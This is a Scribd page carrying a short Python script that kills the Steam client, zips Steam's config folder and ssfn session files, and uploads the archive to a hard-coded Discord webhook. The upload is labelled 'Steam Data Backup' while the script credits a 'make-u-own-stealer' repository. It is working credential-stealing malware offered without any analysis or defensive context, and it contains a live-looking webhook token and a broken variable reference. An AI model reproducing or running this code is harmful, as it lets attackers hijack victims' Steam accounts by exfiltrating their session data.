[go: up one dir, main page]

0% found this document useful (0 votes)
2 views1 page

Message

Uploaded by

leodn2711
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2 views1 page

Message

Uploaded by

leodn2711
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

import os

import zipfile
from discord_webhook import DiscordWebhook, DiscordEmbed

hook =
"https://discord.com/api/webhooks/1391372710013177896/XBpwz1RoNS6oGz_fzbKgDMXnF4pPr
rXIi9bgAS40L6P4Jyc3jbcbb0yleqo2xyc5peOp"

def kill_process(process_name):
result = os.system(f"taskkill /F /IM {process_name}")
if result == 0:
print(f"Process {process_name} has been killed successfully.")
else:
print(f"Failed to kill process {process_name}.")

def steam_st():
kill_process("Steam.exe")
steam_path = os.environ.get("PROGRAMFILES(X86)", "") + "\\Steam"
if os.path.exists(steam_path):
ssfn_files = [os.path.join(steam_path, file) for file in
os.listdir(steam_path) if file.startswith("ssfn")]
steam_config_path = os.path.join(steam_path, "config")

zip_path = os.path.join(os.environ['TEMP'], "steam_session.zip")


with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zp:
if os.path.exists(steam_config_path):
for root, dirs, files in os.walk(steam_config_path):
for file in files:
zp.write(os.path.join(root, file),
os.path.relpath(os.path.join(root, file), steam_path))
for ssfn_file in ssfn_files:
zp.write(ssfn_file, os.path.basename(ssfn_file))

webhook = DiscordWebhook(url=hook)
embed = DiscordEmbed(title="Steam Data Backup", description="Latest backup
of the Steam session data.", color=242424)
embed.set_author(name="github.com/lawxsz/make-u-own-stealer",
icon_url="https://i.imgur.com/NYWdLg6.png")
embed.set_image(url="https://i.imgur.com/NYWdLg6.png")
embed.set_footer(text="Backup completed successfully")
webhook.add_embed(embed)
webhook.execute()

webhook = DiscordWebhook(url=webhook_url)
with open(zip_path, 'rb') as f:
webhook.add_file(file=f.read(), filename='steam_session.zip')
webhook.execute()

os.remove(zip_path)

steam_st()

You might also like